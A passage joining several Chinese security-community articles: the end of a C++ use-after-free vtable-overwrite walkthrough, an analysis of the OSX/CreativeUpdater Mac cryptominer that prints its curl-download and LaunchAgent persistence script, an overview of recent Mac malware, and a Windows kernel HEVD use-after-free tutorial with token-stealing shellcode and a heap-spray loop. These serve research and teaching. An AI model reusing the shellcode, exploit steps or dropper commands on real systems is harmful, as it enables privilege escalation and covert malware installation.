让我们查看虚表的内存，可以看到Man的虚表中有两个函数。虚表偏移8字节便是introduce函数。
（2）调用方法
源代码
case 1:
m->introduce();
w->introduce();
break;
IDA中对应的伪代码
指针v13和v14分别对应实例化的Man和Woman，Woman的虚函数表的结构与Man是相同的（地址不同），所以不再赘述。
通过观察虚函数表结构，我们已经知道introduce为虚表表头偏移8个字节，所以便有了v13+8字节偏移。
这里就埋下一个伏笔，如果对虚表指针的地址进行改写，将虚表向前偏移8个字节，这样本来调用introduce方法就会调用getshell方法。
对应的反汇编如下，非常建议自己动态调试一遍，能够加深印象。
### 2.2UAF利用流程
（1）程序实例化Man和Women
（2）使用Free将Man和Women分别Free （free）
（3）再分配内存，这里我们需要分配24字节，为了占坑。（after）
因为24字节（0x18）和之前分配的Man和Women一样（上图所示），所以会发生占坑现象，也就是说程序会将之前被释放的Man和Women空间分配给这个指针。此时读取文件（poc）的内容，因为占坑之后内存指针指向的第一个字符就是，覆盖之前Man和Women的虚函数。
Poc的内容就是$ python -c “print ‘x68x15x40x00x00x00x00x00’”> poc
即0x401468=0x401570-8，原虚函数表地址-8字节。
（4）调用Man的悬挂指针，因为虚函数表被我们从poc读入的数据改写，调用intruduce会调用getshell
（5）利用结束
使用UAF修改C++虚表，改变程序流程。
调试过程中，建议下如下的断点，可以让程序停在关键的地方。也可以在调试过程中，多尝试用Ctrl+C呼叫程序暂停，然后设置断点。
gdb-peda$ b *0x400f13
Breakpoint 1 at 0x400f13
gdb-peda$ b *0x400fcd
Breakpoint 2 at 0x400fcd
gdb-peda$ b *0x40102d
Breakpoint 3 at 0x40102d
gdb-peda$ b *0x401076
Breakpoint 4 at 0x401076
根据如下的操作，我们很容易就获取了shell，注意传递参数poc文件
## 小结
UAF在浏览器漏洞中多为对C++对象（虚函数）的修改，悬挂指针是UAF利用的关键，调用被Free的函数，如果这个函数的位置已经被别的对象占坑，进行了修改，那么调用悬挂指针就可能能够造成任意代码执行。结合Heap
Spray会产生很好的效果。 | 社区文章 |
# 供应链攻击：分析OSX/CreativeUpdater木马
|
##### 译文声明
本文是翻译文章，文章原作者 objective-see，文章来源：objective-see.com
原文地址：<https://objective-see.com/blog/blog_0x29.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
当我们的脚步刚跨过2018年的门槛，已经有一款Mac木马环绕我们周围，挥之不去。这款木马针对的是macOS用户，借助热门的[MacUpdate网站](https://www.macupdate.com/)上被感染的应用来传播。2月1日，MacUpdate网站的编辑“Jess-MacUpdate”在几个流行的应用页面中发表了一些评论，比如对FireFox的评论如下：
在本文中，我们分析了这款恶意软件，简要讨论了该软件的本地持久化机制以及具体功能。
## 二、致谢
在深入分析之前，我想先感谢一下这几位安全研究人员以及小伙伴：
**@noarfromspace**
因为他我才注意到这款恶意软件，他也提供了相关链接，发表了富有洞察力评论，也是因为他这款恶意软件才被命名为OSX/CreativeUpdater。
@thomasreed
这位小伙伴也写了篇[博客](https://blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack/)，全方面分析了这款恶意软件，这篇文章绝对值得一读，大家可以好好参考一下。
@marc _etienne_
这位小伙伴在发现及分析这款恶意软件方面提供了非常宝贵的见解。
## 三、恶意软件分析
情况是这样的，当某个用户正在开心地浏览MacUpdate网页时，找到了Firefox软件（或者OnyX以及Deeper），然后决定下载这款软件。正如Thomas
Reed说的那样，MacUpdate上这款软件的下载链接已经被他人恶意修改过，会指向由黑客控制的恶意软件URL：
“伪造的Firefox应用来自于`download-installer.cdn-mozilla.net`（注意该域名的结尾为`cdn-mozilla.net`，并非`mozilla.net`。这是一种常见的欺诈方法，让用户误认为软件来自于合法的网站）。”
因此，用户下载的并非合法的Firefox应用，而是包含木马功能、经过签名的一个dmg文件（所使用的Apple开发者ID为Ramos Jaxson）：
我们可以通过双击方式或者`hdiutil`工具来挂载这个磁盘镜像：
$ hdiutil attach -noverify ~/Downloads/Firefox 58.0.2.dmg
/dev/disk3s2 Apple_HFS /Volumes/Firefox
磁盘镜像中显示的应用程序为`Firefox.app`，该应用同样使用相同的开发者ID进行签名。磁盘镜像以及应用都经过签名，这表明默认情况下Gatekeeper并不会阻止这款恶意软件的执行。
观察这款Firefox木马应用包中的内容，我们可以看到一个主程序（`MozillaFirefox`），`Resources`目录下还包含另一个Firefox应用及脚本（文件名非常直白，为`script`）：
检查第二个Firefox应用的数字签名，我们发现这是Mozilla出品的官方应用。我们可以通过[WhatsYourSign](https://objective-see.com/products/whatsyoursign.html)这款Finder扩展，通过可视化界面查看应用的签名信息：
很快我们就会看到，这款恶意软件会执行合法的Firefox应用，这样一来用户就无法察觉到任何恶意行为。
反编译`MozillaFirefox`这个主执行程序后，我们可以发现该程序会查找`script`文件：
void -[ScriptExecController loadAppSettings](void * self, void * _cmd) {
r13 = [[var_1B0 pathForResource:@"script" ofType:0x0] retain];
r15 = @selector(defaultManager);
r12 = [_objc_msgSend_100015138(@class(NSFileManager), r15) retain];
rbx = [[var_1B0 pathForResource:@"script" ofType:0x0] retain];
r14 = [r12 fileExistsAtPath:rbx];
if (r14 == 0x0) {
[Alerts fatalAlert:@"Corrupt app bundle"
subText:@"Script missing from application bundle."];
}
接下来，程序会调用`-[ScriptExecController executeScript]`方法，执行该文件：
void -[ScriptExecController executeScript](void * self, void * _cmd) {
rbx = self;
[rbx prepareForExecution];
[rbx prepareInterfaceForExecution];
*(int8_t *)(rbx + r14) = 0x1;
if (*(int32_t *)&rbx->execStyle == 0x1) {
rsi = @selector(executeScriptWithPrivileges);
}
else {
rsi = @selector(executeScriptWithoutPrivileges);
}
(*_objc_msgSend)(rbx, rsi);
return;
}
void -[ScriptExecController executeScriptWithoutPrivileges](void * self, void * _cmd) {
r13->task = [[NSTask alloc] init];
[r13->task setLaunchPath:r13->interpreterPath];
[r13->task setArguments:r13->arguments];
[r13->task launch];
...
}
根据@noarfromspace在Twitter上的描述，攻击者使用[Platypus](https://www.sveinbjorn.org/platypus)这款合法的开发者工具来构造OSX/CreativeUpdater。Platypus官方上有这样一段话：
“Platypus是一款Mac OS
X开发者工具，可以通过解释型脚本（如shell脚本、Perl、Ruby以及Python程序）来创建原生的Mac应用，具体原理是将脚本以及运行该脚本的原生可执行文件捆绑在应用程序包中，实现运行效果。”
这一段话可以解释为什么主应用程序（比如Firefox.app木马）会在运行时执行`script`文件。
之前我们也见过Platypus的身影，还记得OSX/Eleanor吗：
之前我在Twitter上提到过，OSX/Eleanor同样也会借助MacUpdate来传播：
这一点耐人寻味，它们是否有所关联？谁知道呢。
继续分析，我们来观察一下恶意应用启动时所执行的那个脚本：
$ cat Firefox.app/Contents/Resources/script
open Firefox.app
if [ -f ~/Library/mdworker/mdworker ]; then
killall MozillaFirefox
else
nohup curl -o ~/Library/mdworker.zip
https://public.adobecc.com/files/1U14RSV3MVAHBMEGVS4LZ42AFNYEFF
?content_disposition=attachment
&& unzip -o ~/Library/mdworker.zip -d ~/Library
&& mkdir -p ~/Library/LaunchAgents
&& mv ~/Library/mdworker/MacOSupdate.plist ~/Library/LaunchAgents
&& sleep 300
&& launchctl load -w ~/Library/LaunchAgents/MacOSupdate.plist
&& rm -rf ~/Library/mdworker.zip
&& killall MozillaFirefox &
根据Thomas Reed的描述：
“……这段代码首先会尝试打开一个欺诈应用。接下来，如果恶意软件已经安装过，这段代码会结束释放器进程，因为此时已经不需要再安装一次，
如果恶意软件没安装过，那么这段代码会下载恶意软件，将其解压到用户的Library文件夹中……代码也会安装一个恶意启动代理文件（`MacOSupdate.plist`），该文件会反复运行另一个脚本。”
换句话说，这段代码的功能是下载并安装一个持久性载荷。那么这是什么载荷呢？
虽然恶意软件希望下载的zip文件已经不复存在（从`https://public.adobecc.com/files/1U14RSV3MVAHBMEGVS4LZ42AFNYEFF`下载`mdworker.zip`文件），幸运的是我们可以通过VirusTotal上获取这个文件。
首先，我们可以观察一下`MacOSupdate.plist`文件：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" ...>
<plist version="1.0">
<dict>
<key>Label</key>
<string>MacOSupdate</string>
<key>ProgramArguments</key>
<array>
<string>sh</string>
<string>-c</string>
<string>launchctl unload -w ~/Library/LaunchAgents/MacOS.plist
&& rm -rf ~/Library/LaunchAgents/MacOS.plist &&
curl -o ~/Library/LaunchAgents/MacOS.plist
https://public.adobecc.com/files/1UJET2WD0VPD5SD0CRLX0EH2UIEEFF?
content_disposition=attachment
&& launchctl load -w ~/Library/LaunchAgents/MacOS.plist
&& ~/Library/mdworker/mdworker</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
好吧，这个文件的功能只是下载并安装另一个`MacOS.plist`。
观察下载的这几个`MacOS.plist`文件，我们可以看到这些文件会反复执行`~/Library/mdworker/`目录中的`mdworker`程序：
//version 1
$ cat ~/Library/LaunchAgents/MacOS.plist
...
<key>ProgramArguments</key>
<array>
<string>sh</string>
<string>-c</string>
<string>
~/Library/mdworker/mdworker -user [email protected] -xmr
-proxy socks://104.236.13.101:1080
</string>
</array>
//version 2
$ cat ~/Library/LaunchAgents/MacOS.plist
<key>ProgramArguments</key>
<array>
<string>sh</string>
<string>-c</string>
<string>
~/Library/mdworker/mdworker -user [email protected] -xmr
</string>
</array>
在虚拟机中运行`mdworker`程序，我们可以发现这是命令行版本的[MinerGate](https://minergate.com/)挖矿程序，即`minergate-cli`：
$ ./mdworker -help
Usage:
minergate-cli [-version] -user <email> [-proxy <url>]
-<currency> <threads> [<gpu intensity>]
[-<currency> <threads> [<gpu intensity>] ...]
[-o <pool> -u <login> [-t <threads>]
[-i <gpu intensity>]]
任何人都可以从[minergate.com/downloads/console](https://minergate.com/downloads/console)下载这个应用程序：
由于攻击者通过`-xmr`标志来调用这款挖矿程序，因此被感染的计算机会挖掘门罗币（Monero）。关于其中出现的邮箱地址，Thomas认为挖矿软件会“周期性地连接到minergate.com，使用邮箱地址作为登录账户”。
现在我们对这款恶意软件的目的已经摸得一清二楚：挖掘加密货币。结果并没有让人特别兴奋，但由此我们可以看到针对macOS的挖矿攻击活动已经变得越来越多。
如果你想找出幕后黑手，可以从磁盘镜像文件中找到一些蛛丝马迹。如果我们仔细观察这些文件（@noarfromspace已经做过相关[分析](https://twitter.com/noarfromspace/status/959548339468623873)），我们可以在dmg文件的根目录中发现一个`.DS_Store`文件。
$ ls -lart /Volumes/Firefox/ | grep .DS_Store
-rw-r--r--@ 1 user staff 10244 Jan 31 11:18 .DS_Store
根据[维基百科](https://en.wikipedia.org/wiki/.DS_Store)的描述，“`.DS_Store`文件可以存储这个文件夹的自定义属性，比如图标位置以及背景图片设置等”。然而，`.DS_Store`文件也可能会包含路径信息，比如攻击者主机上`.dmg`文件的原始（完整）路径。
我们可以查看每个`.DS_Store`文件中包含的字符串：
$ strings -a .DS_Store | grep tiago
tiagobrandaomateus
/Users/tiagobrandaomateus/teste/macupdate/Firefox_temp.dmg
$ strings -a /Volumes/OnyX 3.4.2/.DS_Store | grep -i tiago
tiagobrandaomateus
/Users/tiagobrandaomateus/teste/macupdate/OnyX 3.4.2_temp.dmg
$ strings -a /Volumes/Deeper 2.2.7/.DS_Store | grep -i tiago
tiagobrandaomateus
/Users/tiagobrandaomateus/macupdate/deeper-app/Deeper 2.2.7_temp.dmg
这个结果非常有趣，可能Tiago Brandão Mateus就是幕后黑手。
## 四、总结
在本文中，我们从技术角度分析了新发现的一款macOS挖矿程序：OSX/CreativeUpdater。虽然这款恶意软件并没有特别复杂，隐藏性也不高，但由于攻击者利用MacUpdate作为感染源，因此很有可能会感染大量用户。
最后，让我们来回答几个问题。
Q：怎么才会感染OSX/CreativeUpdater？
A：从MacUpdates上下载被感染过的应用程序。
具体包括如下几个应用程序：
1、2018年2月1日以后的Firefox 58.0.2；
2、2018年2月1日以后的Onyx（如3.4.2版本）；
3、2018年2月1日以后的Deeper（如2.2.7版本）。
Q：我还有没有可能被感染？
A：不大可能。根据MacUpdate的说法，他们“已经移除了恶意链接”。此外，Apple已经吊销了用来签名恶意磁盘镜像及应用的证书：
一旦相关证书被吊销，磁盘镜像再也不会被挂载，应用也不会通过UI界面得到运行机会。
Q：怎么判断自己是否感染了OSX/CreativeUpdater？
A：首先检查系统上是否正在运行`mdworker`进程或者`sysmdworker`进程（该进程位于`~/Library/mdworker/`目录中）：
$ ps aux | grep [/]Library/mdworker/
user 2199 /Users/user/Library/mdworker/mdworker
用户也可以查找恶意软件用来实现本地持久化所留下的信息，包括如下文件以及目录：
~/Library/mdworker/
~/Library/LaunchAgents/MacOSupdate.plist
我们也可以使用[KnockKnock](https://objective-see.com/products/knocknock.html)工具显示plist启动代理文件（`~/Library/mdworker/MacOSupdate.plist`）：
Q：在被感染的系统上，OSX/CreativeUpdater会执行哪些操作？
A：攻击者开发OSX/CreativeUpdater的目的只是挖掘门罗币（XMR）。虽然这款恶意软件会大量占用用户CPU资源，但也只能带来这种副作用。需要注意的是，由于这款恶意软件具备自我更新功能，因此攻击者后面可能会提供自定义的攻击载荷。然而，目前为止我们并没有观察到这种现象。
Q：你的工具可以阻止这个安全风险吗？
A：那是自然。
比如，[BlockBlock](https://objective-see.com/products/blockblock.html)会检测到恶意软件的本地持久化操作（当恶意软件通过`curl`下载并创建plist启动代理时）：
当恶意软件通过`curl`下载各种组件时，[LuLu](https://objective-see.com/products/LuLu.html)也会弹出警告窗口：
这就是我们对OSX/CreativeUpdater的分析过程，感谢大家的阅读。 | 社区文章 |
# Mac恶意软件现状
##### 译文声明
本文是翻译文章，文章原作者 Thomas Reed，文章来源：blog.malwarebytes.com
原文地址：<https://blog.malwarebytes.com/101/2018/03/the-state-of-mac-malware/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概要
经常有人告诉使用Mac的用户他们不需要防病毒软件，因为Mac没有病毒。然而这一点都不正确，因为Mac系列实际上也会受到恶意软件的影响，并且Mac系中的大部分也都受到过影响。即使是第一个知名的病毒Elk
Cloner影响的也是苹果电脑而不是MS-DOS电脑。
## 二、近期Mac恶意软件总结
在2018年，[Mac恶意软件的状态已经发生了改变](https://press.malwarebytes.com/2018/03/08/widespread-customer-acclaim-leads-malwarebytes-extend-endpoint-protection-macs-enterprise/)。越来越多的黑客组织开始针对这些所谓的防渗透机器。我们已经注意到4个新兴起的针对Mac的恶意软件。其中第一个—OSX.MaMi，是在我们的[论坛](https://forums.malwarebytes.com/topic/218198-dns-hijacked/)中发现的，是有人的DNS设置被篡改且无法恢复回来。
原因就是在他的系统上存在恶意软件改变了这些设置，并使其无法被恢复。此外，恶意软件还在keychain中为其添加了一个新的可信root证书。
这俩项行为非常危险，通过篡改DNS将解析地址重定向到恶意软件的服务器上，恶意软件背后的黑客完全可以把访问正常合法网站，像银行网站, Amazon以及
Apple’s iCloud/Apple ID
services的流量导向恶意钓鱼网站。添加的新证书也可以用来执行“中间人”攻击，来让这些钓鱼网站看起来是正常、合法的。
所以，该恶意软件可能是对使用钓鱼网站偷取凭据感兴趣，但我们还不清楚他们所针对的是哪些网站。
第二个恶意软件是我们在研究 nation-state 恶意软件时发现的，叫做“[Dark
Caracal](https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf)”。该报告中提到了一种新型的跨平台RAT（远程访问工具即后门），叫做“CrossRAT”。它能够感染Mac以及其他系统。它是用java编写的，为受感染的Mac系统提供了一些基本的后门功能。虽然不是很完整，但这个恶意软件目前只是0.1版本，说明它很可能正处于早期的开发阶段。
尽管Mac已经很多年都不再预装java了。但重要的是要记住nation-state恶意软件是根据特定的目标来使用的。这些被感染的特定目标都是有一些其他原因需要去安装java的。或者这些目标已经被黑客通过特定人，特定方法安装了java（例如感染某人U盘，通过其传播到某组织等方法）。
下一个恶意软件叫做“[OSX.CreativeUpdate](https://blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack/)”。最初是通过涉及MacUpdate网站的供应链攻击发现的。MacUpdate网站遭到攻击，一些流行的Mac应用包括火狐等的下载链接被恶意链接所取代了。
这种供应链攻击是非常危险的，甚至会感染在开发或者安全社区的从业者。就像这次由Panic记录的[源码被盗事件](https://panic.com/blog/stolen-source-code/)。
从MacUpdate下载受感染的应用的用户最终会看到这样的应用程序。这些应用程序会在系统上安装恶意软件，然后打开原本应该下载的应用程序，这些程序被捆绑在恶意软件中，来让它看起来很正常。这有助于掩盖恶意软件暗地里做的恶意行为。
恶意软件一旦安装，就会利用计算机的CPU资源来挖掘门罗币。当然这会导致电脑运算速度变慢，风扇开始高速运转。这也会带来一系列负面影响，像电脑性能大幅降低，电池寿命缩短，电力用量增加，甚至可能导致计算机过热并损坏硬件（特别是风扇不能在峰值下工作或通风口被灰尘堵塞）。
最近期出现的Mac恶意软件叫做[OSX.Coldroot](https://objective-see.com/blog/blog_0x2A.html)。它是一个通用的后门程序，提供了典型后门程序所能提供的所有常用系统访问功能。然而，在任何现代系统（macOS
10.11，又名ElCapitan或更高版本）中，其某些部分的安装会失败。并且由于一些bug，它会在某些系统上完全失效。如此看来这个恶意软件似乎并不是很大的威胁，但在一些特定的系统上仍然存在危险。
这些都只是最近的一些例子。Mac恶意软件数量在2016年至2017年期间增长了270％以上。去年我们看到了许多新的后门出现，例如现在臭名昭着的Fruitfly恶意软件，[最早由Malwarebytes发现并记录的](https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/)，它是一个俄亥俄州人用来捕获个人数据，甚至是用来制作儿童色情作品的恶意软件。
## 三、总结
这些都无法表明日益增长的广告软件和PUP威胁（可能有害的程序，通常是伪装成合法软件的软件）所带来的危害。这些类型的威胁在过去几年中就已经普遍存在，甚至可以达到侵入Mac
App Store的程度，AppStore中的某些类别的软件（如防病毒软件或防广告软件）几乎完全是不可信的PUP。
不幸的是，许多Mac用户仍然对macOS的安全性有严重的误解。有些人仍然会告诉人们“Mac电脑不会感染病毒”。背后的真相其实是没有Mac恶意软件完全符合对“病毒”的严格定义。然而其他人则误以为Mac电脑是无懈可击，就像说，“Mac被沙盒包装过，所以它们不会被感染。”
在这种环境下，普通Mac用户没有有效的保护措施来防止他们感染恶意软件，更不用说规避广告软件和PUP所带来的更为常见的威胁了。更糟糕的是，因为他们觉得没有危险，所以即使是在他们操作Windows机器时也依然没有足够的防范措施。
苹果公司的macOS包含了一些有用的安全功能，但它们很容易被新的恶意软件绕过，而且它们根本无法解决广告软件和PUP问题。所以macOS并不是无懈可击的。 | 社区文章 |
# 0x00：前言
最近重新开始了我的Windows内核之旅，这是我总结的Windows kernel
exploit系列的第一部分，从简单的UAF入手，第一篇我尽量写的详细一些，实验环境是Windows 7 x86
sp1，研究内核漏洞是一件令人兴奋的事情，希望能通过文章遇到更多志同道合的朋友，看此文章之前你需要有以下准备：
* Windows 7 x86虚拟机
* 配置好windbg等调试工具，建议配合VirtualKD使用
* HEVD+OSR Loader配合构造漏洞环境
# 0x01：漏洞原理
## 提权原理
首先我们要明白一个道理，运行一个普通的程序在正常情况下是没有系统权限的，但是往往在一些漏洞利用中，我们会想要让一个普通的程序达到很高的权限就比如系统权限，下面做一个实验，我们在虚拟机中用普通权限打开一个cmd然后断下来，用`!dml_proc`命令查看当前进程的信息
kd> !dml_proc
Address PID Image file name
865ce8a8 4 System
87aa9970 10c smss.exe
880d4d40 164 csrss.exe
881e6200 198 wininit.exe
881e69e0 1a0 csrss.exe
...
87040ca0 bc0 cmd.exe
我们可以看到`System`的地址是 865ce8a8 ，`cmd`的地址是 87040ca0 ，我们可以通过下面的方式查看地址中的成员信息，这里之所以
+f8 是因为`token`的位置是在进程偏移为 0xf8
的地方，也就是`Value`的值，那么什么是`token`?你可以把它比做等级，不同的权限等级不同，比如系统权限等级是5级(最高)，那么普通权限就好比是1级，我们可以通过修改我们的等级达到系统的5级权限，这也就是提权的基本原理，如果我们可以修改进程的`token`为系统的`token`，那么就可以提权成功，我们手动操作一次下面是修改前`token`值的对比
kd> dt nt!_EX_FAST_REF 865ce8a8+f8
+0x000 Object : 0x8a201275 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x8a201275 // system token
kd> dt nt!_EX_FAST_REF 87040ca0+f8
+0x000 Object : 0x944a2c02 Void
+0x000 RefCnt : 0y010
+0x000 Value : 0x944a2c02 // cmd token
我们通过ed命令修改cmd token的值为system token
kd> ed 87040ca0+f8 8a201275
kd> dt nt!_EX_FAST_REF 87040ca0+f8
+0x000 Object : 0x8a201275 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x8a201275
用`whoami`命令发现权限已经变成了系统权限
我们将上面的操作变为汇编的形式如下
void ShellCode()
{
_asm
{
nop
nop
nop
nop
pushad
mov eax,fs:[124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 获取 nt!_KTHREAD.ApcState.Process 结构
mov ecx, eax // 拷贝当前进程的_EPROCESS结构
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid:
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp [eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
}
}
解释一下上面的代码，fs寄存器在Ring0中指向一个称为KPCR的数据结构，即FS段的起点与 KPCR
结构对齐，而在Ring0中fs寄存器一般为0x30，这样fs:[124]就指向KPRCB数据结构的第四个字节。由于 KPRCB
结构比较大，在此就不列出来了。查看其数据结构可以看到第四个字节指向`CurrentThead`(KTHREAD类型)。这样fs:[124]其实是指向当前线程的`_KTHREAD`
kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Used_StackBase : Ptr32 Void
+0x008 Spare2 : Ptr32 Void
+0x00c TssCopy : Ptr32 Void
+0x010 ContextSwitches : Uint4B
+0x014 SetMemberCopy : Uint4B
+0x018 Used_Self : Ptr32 Void
+0x01c SelfPcr : Ptr32 _KPCR
+0x020 Prcb : Ptr32 _KPRCB
+0x024 Irql : UChar
+0x028 IRR : Uint4B
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B
+0x034 KdVersionBlock : Ptr32 Void
+0x038 IDT : Ptr32 _KIDTENTRY
+0x03c GDT : Ptr32 _KGDTENTRY
+0x040 TSS : Ptr32 _KTSS
+0x044 MajorVersion : Uint2B
+0x046 MinorVersion : Uint2B
+0x048 SetMember : Uint4B
+0x04c StallScaleFactor : Uint4B
+0x050 SpareUnused : UChar
+0x051 Number : UChar
+0x052 Spare0 : UChar
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B
+0x058 KernelReserved : [14] Uint4B
+0x090 SecondLevelCacheSize : Uint4B
+0x094 HalReserved : [16] Uint4B
+0x0d4 InterruptMode : Uint4B
+0x0d8 Spare1 : UChar
+0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB
再来看看`_EPROCESS`的结构，+0xb8处是进程活动链表，用于储存当前进程的信息，我们通过对它的遍历，可以找到system的`token`，我们知道system的PID一直是4，通过这一点我们就可以遍历了，遍历到系统`token`之后替换就行了
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
...
+0x2b8 SmallestTimerResolution : Uint4B
+0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD
## UAF原理
如果你是一个pwn选手，那么肯定很清楚UAF的原理，简单的说，Use After Free
就是其字面所表达的意思，当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况：
* 内存块被释放后，其对应的指针被设置为 NULL ， 然后再次使用，自然程序会崩溃。
* 内存块被释放后，其对应的指针没有被设置为 NULL ，然后在它下一次被使用之前，没有代码对这块内存块进行修改，那么程序很有可能可以正常运转。
* 内存块被释放后，其对应的指针没有被设置为 NULL，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外，我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling
pointer。类比Linux的内存管理机制，Windows下的内存申请也是有规律的，我们知道`ExAllocatePoolWithTag`函数中申请的内存并不是胡乱申请的，操作系统会选择当前大小最合适的空闲堆来存放它。如果你足够细心的话，在源码中你会发现在`UseUaFObject`中存在`g_UseAfterFreeObject->Callback();`的片段，如果我们将`Callback`覆盖为`shellcode`就可以提权了
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
NTSTATUS UseUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback(); // g_UseAfterFreeObject->shellcode();
}
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
# 0x02：漏洞利用
## 利用思路
如果我们一开始申请堆的大小和UAF中堆的大小相同，那么就可能申请到我们的这块内存，假如我们又提前构造好了这块内存中的数据，那么当最后释放的时候就会指向我们shellcode的位置，从而达到提取的效果。但是这里有个问题，我们电脑中有许许多多的空闲内存，如果我们只构造一块假堆，我们并不能保证刚好能够用到我们的这块内存，所以我们就需要构造很多个这种堆，换句话说就是`堆海战术`吧，如果你看过0day安全这本书，里面说的堆喷射也就是这个原理。
## 利用代码
根据上面我们已经得到提权的代码，相当于我们只有子弹没有枪，这样肯定是不行的，我们首先伪造环境
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
接下来我们进行堆喷射
for (int i = 0; i < 5000; i++)
{
// 调用 AllocateFakeObject() 对象
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
你可能会疑惑上面的IO控制码是如何得到的，这是通过逆向分析`IrpDeviceIoCtlHandler`函数得到的，我们通过`DeviceIoControl`函数实现对驱动中函数的调用，下面原理相同
// 调用 UseUaFObject() 函数
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用 FreeUaFObject() 函数
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
最后我们需要一个函数来调用 cmd 窗口检验我们是否提权成功
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
上面是主要的代码，详细的代码参考[这里](https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/UAF/UAF/test1.c)
# 0x03：补丁思考
对于 UseAfterFree 漏洞的修复，如果你看过我写的一篇[pwn-UAF入门](https://thunderjie.github.io/2019/03/04/Use-After-Free/)的话，补丁的修复就很明显了，我们漏洞利用是在 free
掉了对象之后再次对它的引用，如果我们增加一个条件，判断对象是否为空，如果为空则不调用，那么就可以避免 UseAfterFree
的发生，下面是具体的修复方案：
if(g_UseAfterFreeObject != NULL)
{
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
}
# 0x04：后记
提权后的效果如下
这一篇之后我会继续写windows-kernel-exploit系列2，主要还是研究HEVD中的其他漏洞，类似的UAF漏洞可以参考我研究的[2014-4113](https://thunderjie.github.io/2019/02/21/CVE-2014-4113/#more)和我即将研究的2018-8120，最后，吹爆wjllz师傅！
参考链接：
<https://rootkits.xyz/blog/2018/04/kernel-use-after-free/>
<https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-1/> | 社区文章 |
